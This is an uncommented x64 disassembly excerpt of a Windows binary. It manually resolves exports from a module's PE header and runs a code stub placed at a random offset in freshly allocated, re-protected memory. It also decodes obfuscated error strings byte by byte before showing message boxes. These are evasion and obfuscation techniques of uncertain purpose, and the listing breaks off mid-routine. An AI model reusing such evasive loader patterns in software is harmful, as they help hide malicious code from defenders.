movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x14002c452
mov eax, dword [rdx + 4]
mov dword [rsp + 0x60], eax
mov ecx, 1
cmp eax, ecx
jl 0x14002c452
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp - 0x78], rax
call fcn.140094c90
or dword [rbp + 0x233b4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x22030]
call fcn.140036bc4
lea rcx, [rbp + 0x22030]
call fcn.1400365dc
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rbp - 0x60], r8
xor eax, eax
lea r13d, [rax + 1]
lea rcx, [rbp + 0x22030]
call fcn.1400365dc
mov eax, eax
mov qword [rbp + rdi*8 + 0x3c490], rax
add rdi, r13
cmp rdi, 0x200
jl 0x14002ca60
mov r13d, 0x1000
mov r8d, r13d
lea rdx, [rbp + 0x3c490]
mov rdi, qword [rbp - 0x78]
mov rcx, rdi
call fcn.1400bc500
mov eax, dword [rsp + 0x60]
mov dword [0x1400e8364], eax
add rdi, qword [rbp - 0x60]
movsd xmm0, qword [0x1400e8360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400e8368]
mov word [rdi + 8], ax
mov al, byte [0x1400e836a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xe74], eax
lea r9, [rbp + 0xe74]
mov r8d, r15d
mov edx, r13d
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor eax, eax
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x218]
mov r8, qword [rbp - 0x80]
mov rdx, qword [rbp - 0x48]
mov rcx, qword [rbp - 0x20]
call rdi
mov dword [rbp - 0x68], eax
lea r9, [rbp + 0xe74]
mov r8d, dword [rbp + 0xe74]
mov edx, r13d
mov rdi, qword [rbp - 0x78]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, r13d
xor edx, edx
mov rcx, rdi
call fcn.1400bcba0
mov edx, ntohs
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor edi, edi
mov dword [0x1400e8364], edi
lea r13d, [rdi + 0x10]
jmp 0x14002c455
mov rcx, qword [rbp - 0x78]
mov rcx, qword [rcx + 0x20]
xor edi, edi
test rcx, rcx
je 0x14002cd98
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14002cd98
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14002cd98
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14002cd98
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x70], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov edx, edi
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x60], rax
test rax, rax
je 0x14002cd98
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x4d1]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14002cbec
inc rax
test edi, edi
jne 0x14002cbd7
xor edi, edi
test r8d, r8d
je 0x14002cc01
inc rdx
cmp rdx, qword [rbp - 0x60]
jb 0x14002cbc6
jmp 0x14002cd98
mov rax, qword [rbp - 0x70]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x14002cd98
mov eax, dword [rdx + 4]
mov dword [rsp + 0x60], eax
mov ecx, 1
cmp eax, ecx
jl 0x14002cd98
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp - 0x78], rax
call fcn.140094c90
or dword [rbp + 0x24744], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x233c0]
call fcn.140036bc4
lea rcx, [rbp + 0x233c0]
call fcn.1400365dc
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rbp - 0x60], r8
xor eax, eax
lea r15d, [rax + 1]
lea rcx, [rbp + 0x233c0]
call fcn.1400365dc
mov eax, eax
mov qword [rbp + rdi*8 + 0x3d490], rax
add rdi, r15
cmp rdi, 0x200
jl 0x14002cca5
mov r8d, 0x1000
lea rdx, [rbp + 0x3d490]
mov rdi, qword [rbp - 0x78]
mov rcx, rdi
call fcn.1400bc500
mov eax, dword [rsp + 0x60]
mov dword [0x1400e8364], eax
add rdi, qword [rbp - 0x60]
movsd xmm0, qword [0x1400e8360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400e8368]
mov word [rdi + 8], ax
mov al, byte [0x1400e836a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xe70], eax
lea r9, [rbp + 0xe70]
lea r15d, [rax + 0x20]
mov r8d, r15d
mov edx, 0x1000
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r9d, 0x8000
lea r8, [rbp + 0xce8]
lea rdx, [rbp + 0xd08]
mov rcx, qword [rbp - 0x20]
call rdi
lea r9, [rbp + 0xe70]
mov r8d, dword [rbp + 0xe70]
mov edx, 0x1000
mov rdi, qword [rbp - 0x78]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, rdi
call fcn.1400bcba0
lea edx, [r15 - 0x15]
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov dword [0x1400e8364], eax
add qword [rbp - 0x30], rsi
lea rcx, [rbp + 0xf40]
call fcn.140036920
mov r11, qword [rbp - 0x30]
mov r10, qword [rbp - 8]
jmp 0x1400245e3
mov byte [rbp + 0x350], Ordinal_41
mov r9, rbx
xor r8d, r8d
mov dl, 0x42
lea rcx, [rbp + 0x350]
call fcn.140035de8
mov byte [rbp + 0x351], al
mov r9, rbx
mov esi, 1
mov r8d, esi
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x350]
call fcn.140035de8
mov byte [rbp + 0x352], al
mov r9, rbx
lea r8d, [rsi + 1]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x350]
call fcn.140035de8
mov byte [rbp + 0x353], al
mov r9, rbx
lea r8d, [rsi + 2]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x350]
call fcn.140035de8
mov byte [rbp + 0x354], al
mov r9, rbx
lea r8d, [rsi + 3]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x350]
call fcn.140035de8
mov byte [rbp + 0x355], al
mov r9, rbx
lea r8d, [rsi + 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x350]
call fcn.140035de8
mov byte [rbp + 0x356], al
mov r9, rbx
lea r8d, [rsi + 5]
mov dl, WSAStartup
lea rcx, [rbp + 0x350]
call fcn.140035de8
mov byte [rbp + 0x357], al
mov r9, rbx
lea r8d, [rsi + 6]
mov dl, 0x61
lea rcx, [rbp + 0x350]
call fcn.140035de8
mov byte [rbp + 0x358], al
mov r9, rbx
lea r8d, [rsi + 7]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x350]
call fcn.140035de8
mov byte [rbp + 0x359], al
mov r9, rbx
lea r8d, [rsi + 8]
mov dl, r15b
lea rcx, [rbp + 0x350]
call fcn.140035de8
mov byte [rbp + 0x35a], al
mov r9, rbx
lea r8d, [rsi + 9]
mov dl, 0x46
lea rcx, [rbp + 0x350]
call fcn.140035de8
mov byte [rbp + 0x35b], al
mov r9, rbx
lea r8d, [rsi + 0xa]
mov dl, 0x61
lea rcx, [rbp + 0x350]
call fcn.140035de8
mov byte [rbp + 0x35c], al
mov r9, rbx
lea r8d, [rsi + 0xb]
mov dl, 0x69
lea rcx, [rbp + 0x350]
call fcn.140035de8
mov byte [rbp + 0x35d], al
mov r9, rbx
lea r14d, [rsi + 0xc]
mov r8d, r14d
mov dl, 0x6c
lea rcx, [rbp + 0x350]
call fcn.140035de8
mov byte [rbp + 0x35e], al
mov r9, rbx
lea r12d, [rsi + 0xd]
mov r8d, r12d
mov dl, 0x75
lea rcx, [rbp + 0x350]
call fcn.140035de8
mov byte [rbp + 0x35f], al
mov r9, rbx
lea r8d, [rsi + 0xe]
mov dl, WSAStartup
lea rcx, [rbp + 0x350]
call fcn.140035de8
mov byte [rbp + 0x360], al
mov r9, rbx
mov r8, r13
mov dl, 0x65
lea rcx, [rbp + 0x350]
call fcn.140035de8
mov byte [rbp + 0x361], al
xor eax, eax
mov byte [rbp + 0x362], al
mov edi, eax
mov r9, rbx
mov r8, rdi
mov dl, byte [rbp + rdi + 0x351]
lea rcx, [rbp + 0x350]
call fcn.140035de8
mov byte [rbp + rdi + 0x351], al
add rdi, rsi
cmp rdi, rbx
jb 0x14002cf9a
xor edi, edi
mov byte [rbp + 0x362], dil
mov byte [rbp + 0x560], gethostname
lea esi, [rdi + 0x14]
mov r9d, esi
xor r8d, r8d
mov dl, 0x49
lea rcx, [rbp + 0x560]
call fcn.1400364e8
mov byte [rbp + 0x561], al
mov r9d, esi
lea r8d, [rdi + 1]
mov dl, 0x41
lea rcx, [rbp + 0x560]
call fcn.1400364e8
mov byte [rbp + 0x562], al
mov r9d, esi
lea r8d, [rdi + 2]
mov dl, r15b
lea rcx, [rbp + 0x560]
call fcn.1400364e8
mov byte [rbp + 0x563], al
mov r9d, esi
lea r8d, [rdi + 3]
mov dl, 0x53
lea rcx, [rbp + 0x560]
call fcn.1400364e8
mov byte [rbp + 0x564], al
mov r9d, esi
lea r8d, [rdi + 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x560]
call fcn.1400364e8
mov byte [rbp + 0x565], al
mov r9d, esi
lea r8d, [rdi + 5]
mov dl, 0x61
lea rcx, [rbp + 0x560]
call fcn.1400364e8
mov byte [rbp + 0x566], al
mov r9d, esi
lea r8d, [rdi + 6]
mov dl, WSAStartup
lea rcx, [rbp + 0x560]
call fcn.1400364e8
mov byte [rbp + 0x567], al
mov r9d, esi
lea r8d, [rdi + 7]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x560]
call fcn.1400364e8
mov byte [rbp + 0x568], al
mov r9d, esi
lea r8d, [rdi + 8]
mov dl, r15b
lea rcx, [rbp + 0x560]
call fcn.1400364e8
mov byte [rbp + 0x569], al
mov r9d, esi
lea r8d, [rdi + 9]
mov dl, 0x46
lea rcx, [rbp + 0x560]
call fcn.1400364e8
mov byte [rbp + 0x56a], al
mov r9d, esi
lea r8d, [rdi + 0xa]
mov dl, 0x61
lea rcx, [rbp + 0x560]
call fcn.1400364e8
mov byte [rbp + 0x56b], al
mov r9d, esi
lea r8d, [rdi + 0xb]
mov dl, 0x69
lea rcx, [rbp + 0x560]
call fcn.1400364e8
mov byte [rbp + 0x56c], al
mov r9d, esi
lea r8d, [rdi + 0xc]
mov dl, 0x6c
lea rcx, [rbp + 0x560]
call fcn.1400364e8
mov byte [rbp + 0x56d], al
mov r9d, esi
mov r8, r14
mov dl, 0x75
lea rcx, [rbp + 0x560]
call fcn.1400364e8
mov byte [rbp + 0x56e], al
mov r9d, esi
mov r8, r12
mov dl, WSAStartup
lea rcx, [rbp + 0x560]
call fcn.1400364e8
mov byte [rbp + 0x56f], al
mov r9d, esi
lea r8d, [rdi + 0xf]
mov dl, 0x65
lea rcx, [rbp + 0x560]
call fcn.1400364e8
mov byte [rbp + 0x570], al
mov r9d, esi
mov r8, r13
mov dl, r15b
lea rcx, [rbp + 0x560]
call fcn.1400364e8
mov byte [rbp + 0x571], al
mov r9d, esi
mov r8, rbx
mov dl, 0x30
lea rcx, [rbp + 0x560]
call fcn.1400364e8
mov byte [rbp + 0x572], al
mov r9d, esi
lea r8d, [rdi + 0x12]
mov dl, 0x78
lea rcx, [rbp + 0x560]
call fcn.1400364e8
mov byte [rbp + 0x573], al
mov r9d, esi
lea r8d, [rdi + 0x13]
mov dl, 0x33
lea rcx, [rbp + 0x560]
call fcn.1400364e8
mov byte [rbp + 0x574], al
xor eax, eax
mov byte [rbp + 0x575], al
lea ebx, [rdi + 1]
mov r9, rsi
mov r8, rdi
mov dl, byte [rbp + rdi + 0x561]
lea rcx, [rbp + 0x560]
call fcn.1400364e8
mov byte [rbp + rdi + 0x561], al
add rdi, rbx
cmp rdi, rsi
jb 0x14002d1fa
xor eax, eax
mov byte [rbp + 0x575], al
xor r9d, r9d
lea r8, [rbp + 0x351]
lea rdx, [rbp + 0x561]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, ebx
call fcn.14009bc48
int3
mov byte [rbp + 0x368], 0x46
mov r9, rbx
xor r8d, r8d
mov dl, 0x42
lea rcx, [rbp + 0x368]
call fcn.140035de8
mov byte [rbp + 0x369], al
mov r9, rbx
mov esi, 1
mov r8d, esi
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x368]
call fcn.140035de8
mov byte [rbp + 0x36a], al
mov r9, rbx
lea r8d, [rsi + 1]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x368]
call fcn.140035de8
mov byte [rbp + 0x36b], al
mov r9, rbx
lea r8d, [rsi + 2]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x368]
call fcn.140035de8
mov byte [rbp + 0x36c], al
mov r9, rbx
lea r8d, [rsi + 3]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x368]
call fcn.140035de8
mov byte [rbp + 0x36d], al
mov r9, rbx
lea r8d, [rsi + 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x368]
call fcn.140035de8
mov byte [rbp + 0x36e], al
mov r9, rbx
lea r8d, [rsi + 5]
mov dl, WSAStartup
lea rcx, [rbp + 0x368]
call fcn.140035de8
mov byte [rbp + 0x36f], al
mov r9, rbx
lea r8d, [rsi + 6]
mov dl, 0x61
lea rcx, [rbp + 0x368]
call fcn.140035de8
mov byte [rbp + 0x370], al
mov r9, rbx
lea r8d, [rsi + 7]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x368]
call fcn.140035de8
mov byte [rbp + 0x371], al
mov r9, rbx
lea r8d, [rsi + 8]
mov dl, r15b
lea rcx, [rbp + 0x368]
call fcn.140035de8
mov byte [rbp + 0x372], al
mov r9, rbx
lea r8d, [rsi + 9]
mov dl, 0x46
lea rcx, [rbp + 0x368]
call fcn.140035de8
mov byte [rbp + 0x373], al
mov r9, rbx
lea r8d, [rsi + 0xa]
mov dl, 0x61
lea rcx, [rbp + 0x368]
call fcn.140035de8
mov byte [rbp + 0x374], al
mov r9, rbx
lea r8d, [rsi + 0xb]
mov dl, 0x69
lea rcx, [rbp + 0x368]
call fcn.140035de8
mov byte [rbp + 0x375], al
mov r9, rbx
lea r14d, [rsi + 0xc]
mov r8d, r14d
mov dl, 0x6c
lea rcx, [rbp + 0x368]
call fcn.140035de8
mov byte [rbp + 0x376], al
mov r9, rbx
lea r12d, [rsi + 0xd]
mov r8d, r12d
mov dl, 0x75
lea rcx, [rbp + 0x368]
call fcn.140035de8
mov byte [rbp + 0x377], al
mov r9, rbx
lea r8d, [rsi + 0xe]
mov dl, WSAStartup
lea rcx, [rbp + 0x368]
call fcn.140035de8
mov byte [rbp + 0x378], al
mov r9, rbx
mov r8, r13
mov dl, 0x65
lea rcx, [rbp + 0x368]
call fcn.140035de8
mov byte [rbp + 0x379], al
xor eax, eax
mov byte [rbp + 0x37a], al
mov edi, eax
mov r9, rbx
mov r8, rdi
mov dl, byte [rbp + rdi + 0x369]
lea rcx, [rbp + 0x368]
call fcn.140035de8
mov byte [rbp + rdi + 0x369], al
add rdi, rsi
cmp rdi, rbx
jb 0x14002d8c6
xor edi, edi
mov byte [rbp + 0x37a], dil
mov byte [rbp + 0x5c0], Ordinal_41
lea esi, [rdi + 0x14]
mov r9d, esi
xor r8d, r8d
mov dl, 0x49
lea rcx, [rbp + 0x5c0]
call fcn.1400364e8
mov byte [rbp + 0x5c1], al
mov r9d, esi
lea r8d, [rdi + 1]
mov dl, 0x41
lea rcx, [rbp + 0x5c0]
call fcn.1400364e8
mov byte [rbp + 0x5c2], al
mov r9d, esi
lea r8d, [rdi + 2]
mov dl, r15b
lea rcx, [rbp + 0x5c0]
call fcn.1400364e8
mov byte [rbp + 0x5c3], al
mov r9d, esi
lea r8d, [rdi + 3]
mov dl, 0x53
lea rcx, [rbp + 0x5c0]
call fcn.1400364e8
mov byte [rbp + 0x5c4], al
mov r9d, esi
lea r8d, [rdi + 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x5c0]
call fcn.1400364e8
mov byte [rbp + 0x5c5], al
mov r9d, esi
lea r8d, [rdi + 5]
mov dl, 0x61
lea rcx, [rbp + 0x5c0]
call fcn.1400364e8
mov byte [rbp + 0x5c6], al
mov r9d, esi
lea r8d, [rdi + 6]
mov dl, WSAStartup
lea rcx, [rbp + 0x5c0]
call fcn.1400364e8
mov byte [rbp + 0x5c7], al
mov r9d, esi
lea r8d, [rdi + 7]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x5c0]
call fcn.1400364e8
mov byte [rbp + 0x5c8], al
mov r9d, esi
lea r8d, [rdi + 8]
mov dl, r15b
lea rcx, [rbp + 0x5c0]
call fcn.1400364e8
mov byte [rbp + 0x5c9], al
mov r9d, esi
lea r8d, [rdi + 9]
mov dl, 0x46
lea rcx, [rbp + 0x5c0]
call fcn.1400364e8
mov byte [rbp + 0x5ca], al
mov r9d, esi
lea r8d, [rdi + 0xa]
mov dl, 0x61
lea rcx, [rbp + 0x5c0]
call fcn.1400364e8
mov byte [rbp + 0x5cb], al
mov r9d, esi
lea r8d, [rdi + 0xb]
mov dl, 0x69
lea rcx, [rbp + 0x5c0]
call fcn.1400364e8
mov byte [rbp + 0x5cc], al
mov r9d, esi
lea r8d, [rdi + 0xc]
mov dl, 0x6c
lea rcx, [rbp + 0x5c0]
call fcn.1400364e8
mov byte [rbp + 0x5cd], al
mov r9d, esi
mov r8, r14
mov dl, 0x75
lea rcx, [rbp + 0x5c0]
call fcn.1400364e8
mov byte [rbp + 0x5ce], al
mov r9d, esi
mov r8, r12
mov dl, WSAStartup
lea rcx, [rbp + 0x5c0]
call fcn.1400364e8
mov byte [rbp + 0x5cf], al
mov r9d, esi
lea r8d, [rdi + 0xf]
mov dl, 0x65
lea rcx, [rbp + 0x5c0]
call fcn.1400364e8
mov byte [rbp + 0x5d0], al
mov r9d, esi
mov r8, r13
mov dl, r15b
lea rcx, [rbp + 0x5c0]
call fcn.1400364e8
mov byte [rbp + 0x5d1], al
mov r9d, esi
mov r8, rbx
mov dl, 0x30
lea rcx, [rbp + 0x5c0]
call fcn.1400364e8
mov byte [rbp + 0x5d2], al
mov r9d, esi
lea r8d, [rdi + 0x12]
mov dl, 0x78
lea rcx, [rbp + 0x5c0]
call fcn.1400364e8
mov byte [rbp + 0x5d3], al
mov r9d, esi
lea r8d, [rdi + 0x13]
mov dl, 0x36
lea rcx, [rbp + 0x5c0]
call fcn.1400364e8
mov byte [rbp + 0x5d4], al
xor eax, eax
mov byte [rbp + 0x5d5], al
lea ebx, [rdi + 1]
mov r9, rsi
mov r8, rdi
mov dl, byte [rbp + rdi + 0x5c1]
lea rcx, [rbp + 0x5c0]
call fcn.1400364e8
mov byte [rbp + rdi + 0x5c1], al
add rdi, rbx
cmp rdi, rsi
jb 0x14002db26
xor eax, eax
mov byte [rbp + 0x5d5], al
xor r9d, r9d
lea r8, [rbp + 0x369]
lea rdx, [rbp + 0x5c1]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, ebx
call fcn.14009bc48
int3
mov byte [rbp + 0x380], 0x47
mov r9, rbx
xor r8d, r8d
mov dl, 0x42
lea rcx, [rbp + 0x380]
call fcn.140035de8
mov byte [rbp + 0x381], al
mov r9, rbx
mov esi, 1
mov r8d, esi
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x380]
call fcn.140035de8
mov byte [rbp + 0x382], al
mov r9, rbx
lea r8d, [rsi + 1]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x380]
call fcn.140035de8
mov byte [rbp + 0x383], al
mov r9, rbx
lea r8d, [rsi + 2]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x380]
call fcn.140035de8
mov byte [rbp + 0x384], al
mov r9, rbx
lea r8d, [rsi + 3]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x380]
call fcn.140035de8
mov byte [rbp + 0x385], al
mov r9, rbx
lea r8d, [rsi + 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x380]
call fcn.140035de8
mov byte [rbp + 0x386], al
mov r9, rbx
lea r8d, [rsi + 5]
mov dl, WSAStartup
lea rcx, [rbp + 0x380]
call fcn.140035de8
mov byte [rbp + 0x387], al
mov r9, rbx
lea r8d, [rsi + 6]
mov dl, 0x61
lea rcx, [rbp + 0x380]
call fcn.140035de8
mov byte [rbp + 0x388], al
mov r9, rbx
lea r8d, [rsi + 7]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x380]
call fcn.140035de8
mov byte [rbp + 0x389], al
mov r9, rbx
lea r8d, [rsi + 8]
mov dl, r15b
lea rcx, [rbp + 0x380]
call fcn.140035de8
mov byte [rbp + 0x38a], al
mov r9, rbx
lea r8d, [rsi + 9]
mov dl, 0x46
lea rcx, [rbp + 0x380]
call fcn.140035de8
mov byte [rbp + 0x38b], al
mov r9, rbx
lea r8d, [rsi + 0xa]
mov dl, 0x61
lea rcx, [rbp + 0x380]
call fcn.140035de8
mov byte [rbp + 0x38c], al
mov r9, rbx
lea r8d, [rsi + 0xb]
mov dl, 0x69
lea rcx, [rbp + 0x380]
call fcn.140035de8
mov byte [rbp + 0x38d], al
mov r9, rbx
lea r14d, [rsi + 0xc]
mov r8d, r14d
mov dl, 0x6c
lea rcx, [rbp + 0x380]
call fcn.140035de8
mov byte [rbp + 0x38e], al
mov r9, rbx
lea r12d, [rsi + 0xd]
mov r8d, r12d
mov dl, 0x75
lea rcx, [rbp + 0x380]
call fcn.140035de8
mov byte [rbp + 0x38f], al
mov r9, rbx
lea r8d, [rsi + 0xe]
mov dl, WSAStartup
lea rcx, [rbp + 0x380]
call fcn.140035de8
mov byte [rbp + 0x390], al
mov r9, rbx
mov r8, r13
mov dl, 0x65
lea rcx, [rbp + 0x380]
call fcn.140035de8
mov byte [rbp + 0x391], al
xor eax, eax
mov byte [rbp + 0x392], al
mov edi, eax
mov r9, rbx
mov r8, rdi
mov dl, byte [rbp + rdi + 0x381]
lea rcx, [rbp + 0x380]
call fcn.140035de8
mov byte [rbp + rdi + 0x381], al
add rdi, rsi
cmp rdi, rbx
jb 0x14002dd5c
xor edi, edi
mov byte [rbp + 0x392], dil
mov byte [rbp + 0x5d8], r13b
lea esi, [rdi + 0x14]
mov r9d, esi
xor r8d, r8d
mov dl, 0x49
lea rcx, [rbp + 0x5d8]
call fcn.1400364e8
mov byte [rbp + 0x5d9], al
mov r9d, esi
lea r8d, [rdi + 1]
mov dl, 0x41
lea rcx, [rbp + 0x5d8]
call fcn.1400364e8
mov byte [rbp + 0x5da], al
mov r9d, esi
lea r8d, [rdi + 2]
mov dl, r15b
lea rcx, [rbp + 0x5d8]
call fcn.1400364e8
mov byte [rbp + 0x5db], al
mov r9d, esi
lea r8d, [rdi + 3]
mov dl, 0x53
lea rcx, [rbp + 0x5d8]
call fcn.1400364e8
mov byte [rbp + 0x5dc], al
mov r9d, esi
lea r8d, [rdi + 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x5d8]
call fcn.1400364e8
mov byte [rbp + 0x5dd], al
mov r9d, esi
lea r8d, [rdi + 5]
mov dl, 0x61
lea rcx, [rbp + 0x5d8]
call fcn.1400364e8
mov byte [rbp + 0x5de], al
mov r9d, esi
lea r8d, [rdi + 6]
mov dl, WSAStartup
lea rcx, [rbp + 0x5d8]
call fcn.1400364e8
mov byte [rbp + 0x5df], al
mov r9d, esi
lea r8d, [rdi + 7]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x5d8]
call fcn.1400364e8
mov byte [rbp + 0x5e0], al
mov r9d, esi
lea r8d, [rdi + 8]
mov dl, r15b
lea rcx, [rbp + 0x5d8]
call fcn.1400364e8
mov byte [rbp + 0x5e1], al
mov r9d, esi
lea r8d, [rdi + 9]
mov dl, 0x46
lea rcx, [rbp + 0x5d8]
call fcn.1400364e8
mov byte [rbp + 0x5e2], al
mov r9d, esi
lea r8d, [rdi + 0xa]
mov dl, 0x61
lea rcx, [rbp + 0x5d8]
call fcn.1400364e8
mov byte [rbp + 0x5e3], al
mov r9d, esi
lea r8d, [rdi + 0xb]
mov dl, 0x69
lea rcx, [rbp + 0x5d8]
call fcn.1400364e8
mov byte [rbp + 0x5e4], al
mov r9d, esi
lea r8d, [rdi + 0xc]
mov dl, 0x6c
lea rcx, [rbp + 0x5d8]
call fcn.1400364e8
mov byte [rbp + 0x5e5], al
mov r9d, esi
mov r8, r14
mov dl, 0x75
lea rcx, [rbp + 0x5d8]
call fcn.1400364e8
mov byte [rbp + 0x5e6], al
mov r9d, esi
mov r8, r12
mov dl, WSAStartup
lea rcx, [rbp + 0x5d8]
call fcn.1400364e8
mov byte [rbp + 0x5e7], al
mov r9d, esi
lea r8d, [rdi + 0xf]
mov dl, 0x65
lea rcx, [rbp + 0x5d8]
call fcn.1400364e8
mov byte [rbp + 0x5e8], al
mov r9d, esi
mov r8, r13
mov dl, r15b
lea rcx, [rbp + 0x5d8]
call fcn.1400364e8
mov byte [rbp + 0x5e9], al
mov r9d, esi
mov r8, rbx
mov dl, 0x30
lea rcx, [rbp + 0x5d8]
call fcn.1400364e8
mov byte [rbp + 0x5ea], al
mov r9d, esi
lea r8d, [rdi + 0x12]
mov dl, 0x78
lea rcx, [rbp + 0x5d8]
call fcn.1400364e8
mov byte [rbp + 0x5eb], al
mov r9d, esi
lea r8d, [rdi + 0x13]
mov dl, 0x35
lea rcx, [rbp + 0x5d8]
call fcn.1400364e8
mov byte [rbp + 0x5ec], al
xor eax, eax
mov byte [rbp + 0x5ed], al
lea ebx, [rdi + 1]
mov r9, rsi
mov r8, rdi
mov dl, byte [rbp + rdi + 0x5d9]
lea rcx, [rbp + 0x5d8]
call fcn.1400364e8
mov byte [rbp + rdi + 0x5d9], al
add rdi, rbx
cmp rdi, rsi
jb 0x14002dfbc
xor eax, eax
mov byte [rbp + 0x5ed], al
xor r9d, r9d
lea r8, [rbp + 0x381]
lea rdx, [rbp + 0x5d9]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, ebx
call fcn.14009bc48
int3
mov byte [rbp + 0x398], reloc.WLDAP32.dll_Ordinal_30
mov r9, rbx
xor r8d, r8d
mov dl, 0x42
lea rcx, [rbp + 0x398]
call fcn.140035de8
mov byte [rbp + 0x399], al
mov r9, rbx
mov esi, 1
mov r8d, esi
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x398]
call fcn.140035de8
mov byte [rbp + 0x39a], al
mov r9, rbx
lea r8d, [rsi + 1]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x398]
call fcn.140035de8
mov byte [rbp + 0x39b], al
mov r9, rbx
lea r8d, [rsi + 2]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x398]
call fcn.140035de8
mov byte [rbp + 0x39c], al
mov r9, rbx
lea r8d, [rsi + 3]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x398]
call fcn.140035de8
mov byte [rbp + 0x39d], al
mov r9, rbx
lea r8d, [rsi + 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x398]
call fcn.140035de8
mov byte [rbp + 0x39e], al
mov r9, rbx
lea r8d, [rsi + 5]
mov dl, WSAStartup
lea rcx, [rbp + 0x398]
call fcn.140035de8
mov byte [rbp + 0x39f], al
mov r9, rbx
lea r8d, [rsi + 6]
mov dl, 0x61
lea rcx, [rbp + 0x398]
call fcn.140035de8
mov byte [rbp + 0x3a0], al
mov r9, rbx
lea r8d, [rsi + 7]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x398]
call fcn.140035de8
mov byte [rbp + 0x3a1], al
mov r9, rbx
lea r8d, [rsi + 8]
mov dl, r15b
lea rcx, [rbp + 0x398]
call fcn.140035de8
mov byte [rbp + 0x3a2], al
mov r9, rbx
lea r8d, [rsi + 9]
mov dl, 0x46
lea rcx, [rbp + 0x398]
call fcn.140035de8
mov byte [rbp + 0x3a3], al
mov r9, rbx
lea r8d, [rsi + 0xa]
mov dl, 0x61
lea rcx, [rbp + 0x398]
call fcn.140035de8
mov byte [rbp + 0x3a4], al
